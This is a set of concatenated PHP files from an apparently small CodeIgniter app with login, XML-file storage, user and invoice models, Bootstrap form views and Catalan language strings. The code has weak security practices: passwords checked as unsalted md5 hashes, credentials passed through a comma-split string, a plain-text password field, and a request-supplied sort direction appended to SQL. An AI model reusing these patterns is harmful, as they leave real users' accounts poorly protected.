$this->_set_form_rules();
if( $this->form_validation->run() ) {
$data = $this->_get_form_values();
if( $this->_check_login( $data ) ) {
redirect( '/../admin' );
}
}
}
$this->_load_view( 'index_view' );
}
// --------------------------------------------------------------------
/**
* logout method
*
* @access public
*/
public function logout()
{
$this->ion_auth->logout();
redirect( 'home/login', 'refresh' );
}
// --------------------------------------------------------------------
/**
* _check_login method
*
* @access public
*/
private function _check_login( $data )
{
$login = $this->ion_auth->login(
$data['login'], $data['password'], $data['remember'] );
if( $login ) {
return TRUE;
}
return FALSE;
}
// --------------------------------------------------------------------
/**
* _get_form_values method
*
* @access private
* @return array
*/
private function _get_form_values()
{
$data['login'] = $this->input->post( 'login' );
$data['password'] = $this->input->post( 'password' );
$data['remember'] = (bool) $this->input->post( 'remember' );
return $data;
}
// --------------------------------------------------------------------
/**
* _set_form_values method
*
* @access private
* @param array
*/
private function _set_form_values( $data = array() )
{
$this->data['field']['login'] = '<EMAIL>';
$this->data['field']['password'] = '<PASSWORD>';
$this->data['field']['remember'] = 1;
if( $this->input->post() ) {
$this->data['field'] = array_merge( $this->data['field'], $this->input->post() );
}
$this->data['field'] = array_merge( $this->data['field'], $data );
}
// --------------------------------------------------------------------
/**
* _set_form_rules method
*
* @access private
*/
private function _set_form_rules()
{
$this->load->library( array( 'form_validation' ) );
$this->form_validation->set_rules(
'login',
'Login',
'trim|required'
);
$this->form_validation->set_rules(
'password',
'Password',
'trim|required'
);
$this->form_validation->set_rules(
'remember',
'Remember me',
'integer'
);
}
}<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* XmlDB
*
* XmlDB library
*
* @author marc
*
*/
class Message {
private $CI;
private $type = '';
private $message = '';
function __construct()
{
$this->CI =& get_instance();
$this->CI->load->library(array('session', 'message', 'auth_lib'));
}
function set_message($type, $message, $flash = FALSE)
{
if($flash) {
$this->CI->session->set_flashdata('type', $type);
$this->CI->session->set_flashdata('message', $message);
}
$this->type = $type;
$this->message = $message;
$this->CI->xml_db->insert(
'messages',
array(
"date"=>date(DATE_ISO8601),
"login"=>$this->CI->auth_lib->get_login(),
"section"=>uri_string(),
"type"=>$this->type,
"message"=>$this->message)
);
}
function get_type()
{
if($this->CI->session->flashdata('type'))
$this->type = $this->CI->session->flashdata('type');
return $this->type;
}
function get_message()
{
if($this->CI->session->flashdata('message'))
$this->message = $this->CI->session->flashdata('message');
return $this->message;
}
}<file_sep><?php
$label_attributes = array('class'=>'control-label');
$login = array('id'=>'login', 'name'=>'login', 'value'=>$field['login'],
'autofocus'=>'autofocus');
$password = array('id'=>'password', 'name'=>'password', 'type'=>'password',
'value'=>'');
$confirm_password = array('id'=>'confirm_password', 'name'=>'confirm_password',
'type'=>'password', 'value'=>'');
$active = array('name'=>'active', 'id'=>'active', 'value'=>1,
'checked'=>$field['active']);
$sex = array(""=>"", 1=>lang('user_form_sex_1'),
2=>lang('user_form_sex_2'), 3=>lang('user_form_sex_3'));
$color = array(1=>lang('user_form_color_1'), 2=>lang('user_form_color_2'),
3=>lang('user_form_color_3'),4=>lang('user_form_color_4'),
5=>lang('user_form_color_5'),6=>lang('user_form_color_6'),
7=>lang('user_form_color_7'),8=>lang('user_form_color_8'),
9=>lang('user_form_color_9'),10=>lang('user_form_color_10'));
$description = array('name'=>'description', 'value'=>$field['description'],
'rows'=>4, 'class'=>'span8');
$submit = array('name'=>'submit', 'value'=>'submit',
'class'=>'btn', 'type'=>'submit',
'content'=>'<i class="icon-ok"></i> '.lang('form_submit'));
$delete = array('name'=>'delete', 'value'=>'delete',
'class'=>'btn btn-danger', 'type'=>'submit',
'content'=>'<i class="icon-remove icon-white"></i> '.lang('form_delete'),
'onclick'=>'return confirm(\''.lang('are_you_sure').'\')');
?>
<?=form_open()?>
<div class="row">
<div class="span4">
<?php $error = form_error('login')?'error':'' ?>
<div class="control-group <?=$error?>">
<?=form_label(lang('user_form_login') . ' *', 'login', $label_attributes)?>
<div class="controls">
<?=form_input($login)?>
</div>
</div>
</div>
</div>
<div class="row">
<div class="span4">
<?php $error = form_error('password')?'error':'' ?>
<div class="control-group <?=$error?>">
<?=form_label(lang('user_form_password') . ' *', 'password', $label_attributes)?>
<div class="controls">
<?=form_input($password)?>
</div>
</div>
</div>
<div class="span4">
<?php $error = form_error('confirm_password')?'error':'' ?>
<div class="control-group <?=$error?>">
<?=form_label(lang('user_form_confirm_password') . ' *', 'confirm_password', $label_attributes)?>
<div class="controls">
<?=form_input($confirm_password)?>
</div>
</div>
</div>
</div>
<div class="row">
<div class="span4">
<?php $error = form_error('sex')?'error':'' ?>
<div class="control-group <?=$error?>">
<?=form_label(lang('user_form_sex') . ' *', 'sex', $label_attributes)?>
<div class="controls">
<?=form_dropdown('sex', $sex, $field['sex'])?>
</div>
</div>
</div>
<div class="span3">
<div class="control-group">
<?=form_label(lang('user_form_color'))?>
<div class="controls">
<?=form_hidden('color', '')?>
<?=form_dropdown('color', $color, $field['color'], 'id="color" multiple="multiple"')?>
</div>
</div>
</div>
</div>
<?php $error = form_error('description')?'error':'' ?>
<div class="control-group <?=$error?>">
<?=form_label(lang('user_form_description'), 'description', $label_attributes)?>
<div class="controls">
<?=form_textarea($description)?>
</div>
</div>
<div class="control-group">
<div class="controls">
<?=form_hidden('active', '0')?>
<?=form_label(form_checkbox($active) . ' ' . lang('user_form_active'), 'active', array('class'=>'checkbox'))?>
</div>
</div>
<p class="muted">* Required field</p>
<div class="form-actions">
<?=form_button($submit)?>
<div class="span pull-right">
<?php if($this->uri->rsegment(3)) : ?>
<?=form_button($delete)?>
<?php endif; ?>
</div>
</div>
<?=form_close()?>
<script type="text/javascript">
<!--
$(document).ready(function() {
$("#color").multiSelect({
selectAll: false,
noneSelected: ' ',
oneOrMoreSelected: '% <?=lang('form_multiselect')?>'
});
});
//-->
</script>
<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* XmlDB
*
* XmlDB library
*
* @author marc
*
*/
class Xml_db {
private $CI;
private $_error;
function __construct()
{
$this->CI =& get_instance();
$this->CI->load->config('app');
$this->CI->load->helper('language');
}
function get($filename, $var = NULL)
{
$arr = FALSE;
$xml = $this->load_xml_file($filename);
if($xml !== FALSE) {
// return all records
if($var == NULL)
{
$arr = array();
foreach($xml->item as $node)
$arr[] = get_object_vars($node);
// return by query key=>value
}
elseif(is_array($var))
{
foreach($xml->item as $node)
{
$match = TRUE;
foreach($var as $key=>$value)
{
if(strcasecmp($node->$key,$value))
$match = FALSE;
}
if($match === TRUE)
{
$arr[] = get_object_vars($node);
break;
}
}
// return by id
} else {
foreach($xml->item as $node)
{
if($node->id == $var)
{
$arr = get_object_vars($node);
break;
}
}
if($arr === FALSE)
$this->set_error('xml_db_item_not_found');
}
}
return $arr;
}
function insert($filename, $data)
{
$xml = $this->load_xml_file($filename);
if($xml !== FALSE) {
$newItem = $xml->addChild("item");
$data['id'] = uniqid();
foreach($data as $key=>$value)
{
$newItem->addChild($key, $value);
}
log_message('debug', 'Inserting(' . $filename . '): '
. print_r($newItem, true));
$xml = $this->save_xml_file($filename, $xml);
}
return $xml;
}
function update($filename, $data)
{
$xml = $this->load_xml_file($filename);
if($xml !== FALSE) {
$found = FALSE;
foreach($xml->item as $node)
{
if($node->id == $data['id'])
{
$found = TRUE;
break;
}
}
if($found === TRUE) {
foreach($data as $key=>$value)
{
$node->$key = $value;
}
log_message('debug', 'Updating(' . $filename . '): '
. print_r($data, true));
$xml = $this->save_xml_file($filename, $xml);
}
else
{
$this->set_error('xml_db_item_not_found');
$xml = FALSE;
}
}
return $xml;
}
function save($filename, $data)
{
$result = TRUE;
if(isset($data['id']))
{
$result = $this->update($filename, $data);
}
else
{
$result = $this->insert($filename, $data);
}
return $result;
}
function delete($filename, $id)
{
$xml = $this->load_xml_file($filename);
log_message('debug', 'Deleting(' . $filename . '): ' . $id);
if($xml !== FALSE)
{
$found = FALSE;
foreach($xml->item as $node)
{
if ($node->id == $id)
{
$found = TRUE;
break;
}
}
if($found) {
$dom = dom_import_simplexml($node);
$dom->parentNode->removeChild($dom);
$xml = $this->save_xml_file($filename, $xml);
}
else
{
$this->set_error('xml_db_item_not_found');
$xml = FALSE;
}
}
return $xml;
}
function create($filename)
{
$xmlstr = '<?xml version="1.0"?><data></data>';
$xml = new SimpleXMLElement($xmlstr);
return $this->save_xml_file($filename, $xml);
}
function load_xml_file($filename)
{
$file = $this->get_file($filename);
$result = @simplexml_load_file($file);
if($result === FALSE)
$this->set_error('xml_db_load_error');
return $result;
}
function save_xml_file($filename, $xml)
{
$file = $this->get_file($filename);
$result = @$xml->asXML($file);
if($result === FALSE)
$this->set_error('xml_db_save_error');
return $result;
}
function get_file($file)
{
return $this->CI->config->item('data_path') . $file . '.xml';
}
/**
* Set error messages
*
* @param string $error
* @return
*/
function set_error($error)
{
$this->_error = lang($error);
}
/**
* Get error messages
*
* @return string
*/
function get_error()
{
return $this->_error;
}
}<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Auth
*
* Authenticator library
*
* @author marc
*
*/
class Auth_lib {
private $CI;
function __construct()
{
$this->CI =& get_instance();
log_message('debug', 'Auth_lib: library initialized.');
$this->CI->load->config('auth');
$this->CI->load->library('session');
$this->CI->load->helper('language');
$this->CI->lang->load('auth');
}
/**
* Login user
*
* @param string $login
* @param string $password
* @param boolean $remember
* @return boolean
*/
function login($login = null, $remember = null)
{
$this->CI->load->helper('cookie');
if(!$this->logged_in())
{
$this->CI->session->set_userdata(
array(
'logged_in'=>TRUE,
'login'=>$login
)
);
if($remember)
{
set_cookie(array(
'name'=>$this->CI->config->item('auth_cookie_name'),
'value'=>'auth','expire'=>31*24*60*60));
}
return TRUE;
}
return FALSE;
}
/**
* Logout user
*
* @return void
*/
function logout()
{
$this->CI->load->helper('cookie');
delete_cookie('auth');
$this->CI->session->set_userdata(array('logged_in'=>'', 'login'=>''));
$this->CI->session->sess_destroy();
}
function get_login()
{
return $this->CI->session->userdata('login');
}
/**
* Check if user logged in
*
* @return boolean
*/
function logged_in()
{
return $this->CI->session->userdata('logged_in');
}
}<file_sep><ul class="breadcrumb">
<li>
<a href="<?=site_url()?>">Home</a>
<?php if($this->uri->segment(1)): ?> <span class="divider">/</span><?php endif; ?>
</li>
<?php if($this->uri->segment(2)): ?>
<li>
<a href="<?=site_url($this->router->fetch_directory() . $this->uri->segment(2))?>">
<?=ucfirst($this->uri->segment(2))?></a>
<?php if($this->uri->segment(3)): ?>
<span class="divider">/</span>
<?php endif; ?>
</li>
<?php endif; ?>
<?php if($this->uri->segment(3)): ?>
<li class="active"><?=ucfirst($this->uri->segment(3))?></li>
<?php endif; ?>
<?php if(validation_errors()): ?>
<li class="pull-right alert-icon" style="cursor:pointer;color:#B94A48;"
onclick="$('#validation_errors').toggle();"></li>
<?php endif; ?>
</ul><file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Users_model Class
*
* @author marc
*
*/
class Users_model extends MY_Model
{
/**
* Constructor method
*/
function __construct()
{
parent::__construct();
$this->load->database();
}
// --------------------------------------------------------------------
/**
* get method
*
* @access public
*/
function get()
{
$this->db->order_by( 'name', 'ASC' );
$result = $this->db->get( 'my_table' );
return $result->result_array();
}
// --------------------------------------------------------------------
/**
* update method
*
* @access public
*/
function update( $id, $data )
{
$this->db->where( 'id', $id );
if( ! $this->db->count_all_results( 'my_table' ) ) {
$this->set_error( 'Record not found.' );
return FALSE;
}
$this->db->where( 'id', $id );
$this->db->update( 'my_table', $data );
log_message( 'debug', $this->db->last_query() );
return TRUE;
}
// --------------------------------------------------------------------
/**
* delete method
*
* @access public
*/
function delete( $id )
{
$this->db->where( 'id', $id );
if( ! $this->db->count_all_results( 'my_table' ) ) {
$this->set_error( 'Record not found.' );
return FALSE;
}
$this->db->where( 'id', $id );
$this->db->delete( 'my_table' );
log_message( 'debug', $this->db->last_query() );
if( $this->db->affected_rows() != 1) {
$this->set_error( $this->db->_error_message() );
return FALSE;
}
return TRUE;
}
// --------------------------------------------------------------------
/**
* get_by_id method
*
* @access public
*/
function get_by_id( $id )
{
$user = $this->ion_auth->user( $id )->row_array();
if( $user['id'] ) {
return $user;
}
return FALSE;
}
// --------------------------------------------------------------------
/**
* getTable method
*
* Para la lista de registros
*
* @access public
*/
function get_table()
{
$query = 'SELECT
SQL_CALC_FOUND_ROWS id as col0,
username as col1,
email as col2
FROM (`users`)
WHERE 1=1
';
$iDisplayStart = $this->input->get_post( 'iDisplayStart', true );
$iDisplayLength = $this->input->get_post( 'iDisplayLength', true );
$iSortCol_0 = $this->input->get_post( 'iSortCol_0', true );
$iSortingCols = $this->input->get_post( 'iSortingCols', true );
$sSearch = $this->input->get_post( 'sSearch', true );
$sEcho = $this->input->get_post( 'sEcho', true );
// Busqueda
if(isset($sSearch) && !empty($sSearch)) {
$query .= " AND (username LIKE '%" . $this->db->escape_like_str( $sSearch ) . "%'" .
") ";
}
// Ordering
if( isset( $iSortCol_0 ) ) {
for( $i = 0; $i < intval( $iSortingCols ); $i ++ ) {
$iSortCol = $this->input->get_post( 'iSortCol_'.$i, true );
$bSortable = $this->input->get_post( 'bSortable_'.intval( $iSortCol ), true );
$sSortDir = $this->input->get_post( 'sSortDir_'.$i, true );
if( $bSortable == 'true' ) {
$query .= ' ORDER BY ';
$query .= 'col' . intval( $this->db->escape_str( $iSortCol ) );
$query .= ' ' . $this->db->escape_str( $sSortDir );
}
}
}
// Paging
/*if( $iDisplayStart !== FALSE && $iDisplayLength != '-1' ) {
$query .= " LIMIT ";
$query .= $this->db->escape_str($iDisplayStart);
$query .= ", ";
$query .= $this->db->escape_str($iDisplayLength);
}*/
// Select Data
$rResult = $this->db->query( $query );
/*if( $this->db->_error_number() ) {
$this->set_error( $this->db->_error_message() );
log_app( $this->db->_error_message() );
}*/
//log_app($this->db->last_query());
// Data set length after filtering
$this->db->select('FOUND_ROWS() AS found_rows');
$iFilteredTotal = $this->db->get()->row()->found_rows;
// Total data set length
$iTotal = $this->db->get( 'users' )->num_rows();
// Output
$output = array(
'sEcho' => intval( $sEcho ),
'iTotalRecords' => $iTotal,
'iTotalDisplayRecords' => $iFilteredTotal,
'aaData' => array()
);
if( $rResult !== FALSE ) {
foreach( $rResult->result_array() as $aRow ) {
$row = array();
foreach( $aRow as $col=>$value ) {
$row[] = $value;
}
$output['aaData'][] = $row;
}
} else {
$output['errorMsg'] = $this->get_error();
}
return $output;
}
}<file_sep>
</div> <!-- container -->
<!-- langargs($this->lang->line('page_loaded'), $this->benchmark->elapsed_time())?> -->
<footer class="footer text-center">
<p>@ <?php echo $this->config->item('title'); ?> v1.0.0 2015</p>
</footer>
</body>
</html><file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Auth extends CI_Controller {
private $content_data = array();
public function __construct()
{
parent::__construct();
$this->load->helper(array('form', 'url', 'message'));
$this->load->library(array('auth_lib', 'xml_db'));
}
public function index()
{
redirect('auth/login');
}
public function login()
{
if(logged_in())
redirect('');
$this->load->library('form_validation');
$login = $this->input->post('login', TRUE);
$password = $this->input->post('password', TRUE);
$remember = $this->input->post('remember');
$params = "{$login},{$password},{$remember}";
$this->form_validation->set_rules(
'login', lang('auth_form_login'),
"trim|xss_clean|callback__check_login[{$params}]");
$this->form_validation->set_rules(
'password', lang('auth_form_password'), '<PASSWORD>');
$this->form_validation->set_rules('remember',
lang('auth_form_remember'), 'integer');
if($this->form_validation->run())
redirect('');
$this->_load_view('auth/login_form');
}
function _check_login($str = '', $params = '')
{
list($login, $password, $remember) = explode(',', $params);
$result = $this->xml_db->get('users',
array('login'=>$login, 'password'=>md5($password), 'active'=>'1'));
if(!$result) {
$error = $this->xml_db->get_error();
if(!$error)
$error = lang('auth_incorrect');
$this->form_validation->set_message('_check_login', $error);
set_error($error);
return FALSE;
}
$this->auth_lib->login($login);
set_success(lang('auth_success'));
return TRUE;
}
public function logout() {
set_success(lang('auth_logout'));
$this->auth_lib->logout();
redirect('auth/login');
}
private function _load_view($view) {
$this->load->view('header_view');
$this->load->view($view, $this->content_data);
$this->load->view('footer_view');
}
}<file_sep><script type="text/javascript">
<!--
$(document).ready(function() {
/* Init DataTables */
var oTable = $('#datatable_users').dataTableInit().dataTableClick();
/* Add events */
oTable.on('click', 'tbody tr', function(event){
var aData = oTable.fnGetData( this );
var iId = aData[0];
var $target = $(event.target);
var checked = $target.attr("checked")?1:0;
if($target.is('input')) {
$.post(
'<?=current_url()?>/edit_ajax/'+iId,
{ active:checked },
function(data) {
// error
if(data.error)
$target.attr("checked", checked?false:true);
jQuery.msg(data.type, data.message);
});
}
if($target.is('td')) {
if(oTable.getSelected().length>0)
$('#toolbar_delete').show();
else
$('#toolbar_delete').hide();
}
});
$('#toolbar_delete').on('click', function (event) {
if(confirm("<?=lang('are_you_sure')?>")) {
$('input[name=ids]').val(oTable.getSelected());
$('#delete_form').submit();
}
});
$('div.dataTables_filter input').focus();
});
//-->
</script>
<?=form_open(current_url().'/delete', array('id'=>'delete_form'), array('ids'=>''))?>
<?=form_close()?>
<div class="row">
<div class="span">
<?=anchor(current_url().'/add', '<i class="icon-plus"></i> ' .
lang('toolbar_add_item'), 'class="btn"')?>
<span id="toolbar_delete" class="btn btn-danger hide">
<i class="icon-remove icon-white"></i>
<?=lang('toolbar_delete_items')?>
</span>
</div>
</div>
<?=$table?>
<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Invoices_model extends CI_Model {
private $table = 'invoices';
function __construct()
{
parent::__construct();
$this->load->library(array('xml_db'));
}
function insert($data)
{
return $this->xml_db->insert($this->table, $data);
}
function update($id, $data)
{
$data['id'] = $id;
return $this->xml_db->update($this->table, $data);
}
function get_all()
{
$result = $this->xml_db->get($this->table);
$customers = $this->xml_db->get('customers');
foreach($result as $key=>$invoice)
{
foreach($customers as $customer)
{
if($invoice['customer_id'] == $customer['id'])
$result[$key]['customer_name'] = $customer['name'];
}
if(!isset($result[$key]['customer_name']))
$result[$key]['customer_name'] = '';
}
return $result;
}
function get_by_id($id)
{
$result = $this->xml_db->get($this->table, $id);
return $result;
}
function delete($id)
{
return $this->xml_db->delete($this->table, $id);
}
function get_error()
{
return $this->xml_db->get_error();
}
}<file_sep><br><br>
<?php echo validation_errors(); ?>
<?php echo form_open(); ?>
<div class="row">
<div class="col-xs-12 col-sm-offset-2 col-sm-8 col-md-offset-3 col-md-6">
<div class="well">
<div class="page-header">
<h3><?php echo $this->config->item('title'); ?></h3>
</div>
<?php if( $this->ion_auth->errors() ) : ?>
<div class="alert alert-danger">
<?php echo $this->ion_auth->errors(); ?>
</div>
<?php endif; ?>
<div class="row">
<div class="col-xs-offset-2 col-xs-8">
<div class="form-group">
<label for="login"><?php echo lang( 'login_identity_label' ); ?>:</label>
<input autocomplete="off" type="text" class="form-control" name="login" id="login" value="<?php echo $field['login']; ?>" autofocus>
</div>
<div class="form-group">
<label for="password"><?php echo lang( 'login_password_label' ); ?>:</label>
<input type="password" class="form-control" name="password" id="password" value="<?php echo $field['password']; ?>">
</div>
<br>
<div class="form-group">
<label>
<?php echo form_checkbox( 'remember', $field['remember'], $field['remember'] == 1 ? TRUE : FALSE ); ?><?php echo lang( 'login_remember_label' ); ?>
</label>
<button class="btn btn-primary pull-right" type="submit">
<i class="glyphicon glyphicon-ok"></i> <?php echo lang( 'login_submit_btn' ); ?>
</button>
</div>
<br>
<br>
</div>
</div>
<div class="form-group">
</div>
</div>
</div>
</div>
<?php echo form_close(); ?><file_sep><?php echo form_open(); ?>
<div class="well">
<div class="page-header" style="margin: 0 0 20px 0;">
<div class="row">
<div class="col-xs-6">
<h3 style="margin: 0;">
<?php if( $this->uri->rsegment( 3 ) ) : ?>
<span class="glyphicon glyphicon-edit"></span> <?php echo lang( 'edit' ); ?>
<?php else : ?>
<span class="glyphicon glyphicon-plus"></span> <?php echo lang( 'add' ); ?>
<?php endif; ?>
</h3>
</div>
<div class="col-xs-6 text-right">
<?php if( $validation_errors = validation_errors() ): ?>
<button type="button" class="btn btn-danger" onclick="$('#validation_errors').toggle();">
<span class="glyphicon glyphicon-warning-sign"></span>
</button>
<?php endif; ?>
</div>
</div>
</div>
<div class="row">
<div class="col-xs-12">
<div id="validation_errors" class="alert alert-danger" style="cursor: pointer; display: none;"
onclick="$('#validation_errors').toggle();">
<?php echo $validation_errors; ?>
</div>
</div>
</div>
<div class="row">
<?php $error = form_error( 'username' ) ? 'has-error' : ''; ?>
<div class="form-group <?php echo $error; ?> col-sm-4">
<label for="username" class="control-label"><?php echo lang( 'form_label_username' ); ?> *</label>
<input maxlength="50" required class="form-control" type="text"
name="username" value="<?php echo $field['username']; ?>" autofocus>
</div>
<?php $error = form_error( 'password' ) ? 'has-error' : '' ?>
<div class="form-group <?php echo $error; ?> col-sm-4">
<label for="password" class="control-label"><?php echo lang( 'form_label_password' ); ?></label>
<input class="form-control" type="text" name="password" value="<?php echo $field['password']; ?>">
</div>
</div>
<hr style="margin: 0 0 15px 0;">
<div class="row">
<div class="form-group col-xs-6">
<div class="form-inline">
<div class="form-group">
<button name="submit" type="submit" value="submit"
class="btn btn-primary">
<span class="glyphicon glyphicon-ok"></span> <?php echo lang( 'form_button_submit' ); ?>
</button>
</div>
<div class="form-group">
<a class="btn btn-default" href="<?php echo site_url( $this->router->fetch_class() ); ?>">
<span class="glyphicon glyphicon-chevron-left"></span> <?php echo lang( 'form_button_back' ); ?>
</a>
</div>
</div>
</div>
<?php if( $this->uri->rsegment( 3 ) ) : ?>
<div class="form-group col-xs-6">
<div class="form-group pull-right">
<button name="delete" type="submit" value="delete"
class="btn btn-danger" onclick="return confirm('<?php echo lang( 'are_you_sure' ); ?>')">
<span class="glyphicon glyphicon-remove"></span> <?php echo lang( 'form_button_delete' ); ?>
</button>
</div>
</div>
<?php endif; ?>
</div>
</div>
<?php echo form_close(); ?><file_sep><?php
$lang['required'] = 'El camp %s és obligatori.';
$lang['isset'] = 'El camp %s no pot quedar buit.';
$lang['valid_email'] = 'El camp %s ha de contenir una direcció de mail vàlida.';
$lang['valid_emails'] = 'El camp %s ha de contenir totes les direccions de mail vàlides.';
$lang['valid_url'] = 'El camp %s ha de contenir una URL và';
$lang['valid_ip'] = 'El camp %s ha de contenir una IP vàlida.';
$lang['min_length'] = 'El camp %s ha de tenir com a mínim %s caràcters de longitud.';
$lang['max_length'] = 'El camp %s no pot exedir de %s caràcters de longitud.';
$lang['exact_length'] = 'El camp %s ha de tenir exactament %s caràcters de longitud.';
$lang['alpha'] = 'El camp %s ha de contenir només caràcters alfabètics.';
$lang['alpha_numeric'] = 'El camp %s ha de contenir només caràcters alfa-numèrics.';
$lang['alpha_dash'] = 'El camp %s ha de contenir només caràcters alfa-numèrics, guions baixos i guions.';
$lang['numeric'] = 'El camp %s ha de contenir només números.';
$lang['is_numeric'] = 'El camp %s ha de contenir només caràcters numèrics.';
$lang['integer'] = 'El camp %s ha de contenir un número enter.';
$lang['matches'] = 'El camp %s no coincideix amb el camp %s.';
$lang['is_natural'] = 'El camp %s ha de contenir només números positius.';
$lang['is_natural_no_zero'] = 'El camp %s ha de contenir un número major que zero.';
?><file_sep><div class="hero-unit">
<div class="row">
<div class="span5">
<p>Money</p>
<p>
<a href="<?=site_url('money/invoices')?>" class="btn btn-primary btn-large">Invoices</a>
<a href="<?=site_url('money/payments')?>" class="btn btn-primary btn-large">Payments</a>
</p>
</div>
<div class="span5">
<p>Stock</p>
<p>
<a href="<?=site_url('stock/products')?>" class="btn btn-primary btn-large">Products</a>
<a href="<?=site_url('stock/taxes')?>" class="btn btn-primary btn-large">Taxes</a>
</p>
</div>
</div>
<div class="row">
<div class="span5">
<p>People</p>
<p>
<a href="<?=site_url('people/customers')?>" class="btn btn-primary btn-large">Customers</a>
<a href="<?=site_url('people/users')?>" class="btn btn-primary btn-large">Users</a>
</p>
</div>
<div class="span5">
<p>Settings</p>
<p>
<a href="<?=site_url('settings/messages')?>" class="btn btn-primary btn-large">Messages</a>
</p>
</div>
</div>
</div><file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Myurl Helpers
*
*/
// ------------------------------------------------------------------------
/**
* redirect_current_controller
*
* Redirect to current url class
*
* @access public
* @param string the URL
* @param string the method: location or redirect
* @return string
*/
if ( ! function_exists('redirect_current_controller'))
{
function redirect_current_controller($method = '')
{
$CI =& get_instance();
$dir = $CI->router->fetch_directory();
$cls = $CI->router->fetch_class();
redirect($dir . $cls . $method);
}
}<file_sep><?php
$lang['profiler_database'] = 'BASE DE DADES';
$lang['profiler_controller_info'] = 'CLASSE/MÈTODE';
$lang['profiler_benchmarks'] = 'BENCHMARKS';
$lang['profiler_queries'] = 'CONSULTES';
$lang['profiler_get_data'] = 'DADES GET';
$lang['profiler_post_data'] = 'DADES POST';
$lang['profiler_uri_string'] = 'CADENA URI';
$lang['profiler_memory_usage'] = 'ÚS DE MEMÒRIA';
$lang['profiler_config'] = '';
$lang['profiler_headers'] = '';
$lang['profiler_no_db'] = 'El driver per la base de dades no ha estat carregat';
$lang['profiler_no_queries'] = 'No s\'han executat consultes';
$lang['profiler_no_post'] = 'No existeixen dades de tipus POST';
$lang['profiler_no_get'] = 'No existeixen dades de tipus GET';
$lang['profiler_no_uri'] = 'No existeixen dades URI';
$lang['profiler_no_memory'] = 'Ús de memòria no disponible';
$lang['profiler_no_profiles'] = '';
$lang[''] = '';
?><file_sep><?php
$lang['email_must_be_array'] = 'El mètode de validació del correu ha de ser de tipus array.';
$lang['email_invalid_address'] = 'Dirreció de correu no vàlida: %s';
$lang['email_attachment_missing'] = 'No s\'ha pogut localitzar el següent fitxer adjunt: %s';
$lang['email_attachment_unreadable'] = '';
$lang['email_no_recipients'] = 'Cal incloure receptors: Para, CC, o BCC';
$lang['email_send_failure_phpmail'] = 'No es pot enviar el correu utilitzant la funció mail() de PHP. El servidor pot no estar configurat per utilitzar aquest mètode d\'enviament.';
$lang['email_send_failure_sendmail'] = 'No es pot enviar el correu usant SendMail. El servidor pot no estar configurat per utilitzar aquest mètode d\'enviament.';
$lang['email_send_failure_smtp'] = 'No es pot enviar el correu usant SMTP PHP. El servidor pot no estar configurat per utilitzar aquest mètode d\'enviament.';
$lang['email_sent'] = 'El seu missatge ha estat enviat satisfactòçriament utilitzant el següent protocol: %s';
$lang['email_no_socket'] = 'No es pot obrir un socket per Sendmail. Si us plau revisi la configuració.';
$lang['email_no_hostname'] = 'No ha especificat un servidor SMTP';
$lang['email_smtp_error'] = 'Els següents errors SMTP han estat trobats: %s';
$lang['email_no_smtp_unpw'] = 'Error: Cal assignar un usuari i una contrassenya pel servidor SMTP.';
$lang['email_failed_smtp_login'] = 'Error enviant l\'ordre AUTH LOGIN. Error: %s';
$lang['email_smtp_auth_un'] = 'Error autentificant l\'usuari. Error: %s';
$lang['email_smtp_auth_pw'] = 'Error utilitzant la contrassenya. Error: %s';
$lang['email_smtp_data_failure'] = 'No s\'han pogut enviar les dades: %s';
$lang['email_exit_status'] = 'Codi d\'estat de sortida: %s';
$lang[''] = '';
?><file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Auth Helpers
*
* @package CodeIgniter
* @subpackage Helpers
* @category Helpers
* @author ExpressionEngine Dev Team
* @link http://codeigniter.com/user_guide/helpers/xml_helper.html
*/
// ------------------------------------------------------------------------
if ( ! function_exists('logged_in'))
{
function logged_in()
{
$CI =& get_instance();
$CI->load->library('auth_lib');
return (bool) $CI->auth_lib->logged_in();
}
}
// ------------------------------------------------------------------------
/* End of file xml_helper.php */
/* Location: ./system/helpers/xml_helper.php */<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$config['auth_cookie_name'] = 'auth';<file_sep><?php
$label_attributes = array('class'=>'control-label');
$submit = array('name'=>'submit', 'value'=>'submit',
'class'=>'btn', 'type'=>'submit',
'content'=>'<i class="icon-ok"></i> '.lang('form_submit'));
$delete = array('name'=>'delete', 'value'=>'delete',
'class'=>'btn btn-danger', 'type'=>'submit',
'content'=>'<i class="icon-remove icon-white"></i> '.lang('form_delete'),
'onclick'=>'return confirm(\''.lang('are_you_sure').'\')');
?>
<script type="text/javascript">
<!--
$(document).ready(function() {
/* Init DataTables */
var oTableLines = $('#datatable_invoices_lines').dataTableInit({
"aaSorting": [],
"bAutoWidth": false,
"aoColumnDefs": [
{ "bVisible": false, "aTargets": [ 0 ] },
{ "bSortable": false, "aTargets": [ 1,2,3,4 ] },
{ "sWidth": "68%", "aTargets": [ 2 ] },
{ "sWidth": "10%", "aTargets": [ 1,3,4 ] }
]
}).dataTableClick();
var oTableProducts = $('#datatable_products').dataTableInit({
"aaSorting": [[ 1, "desc" ]],
"bAutoWidth": false,
"aoColumnDefs": [
{ "bVisible": false, "aTargets": [ 0 ] },
{ "sWidth": "68%", "aTargets": [ 2 ] },
{ "sWidth": "10%", "aTargets": [ 1,3,4 ] }
]
});
oTableProducts.on('click', 'tbody tr', function(event){
data = oTableProducts.fnGetData(this);
oTableLines.fnAddData([data[0], data[1], data[2],
'<input type="text" style="margin:0;padding:0;width:50px" value="1"/>', data[4]]);
total = 0;
$(oTableLines.fnGetNodes()).each(function(){
total += parseFloat($(this).find("td:eq(3)").text());
});
$('#total').text(total);
$('.products').toggle();
jQuery.message('success', 'item added');
});
oTableLines.on('click', 'tbody tr', function(event){
var $target = $(event.target);
if($target.is('td')) {
if(oTableLines.getSelected().length)
$('#toolbar_delete').show();
else
$('#toolbar_delete').hide();
}
});
$('#toolbar_delete').click(function(){
var aTrs = oTableLines.fnGetNodes();
for ( var i=0 ; i<aTrs.length ; i++ ) {
if ( $(aTrs[i]).hasClass('row_selected') )
oTableLines.fnDeleteRow(aTrs[i]);
}
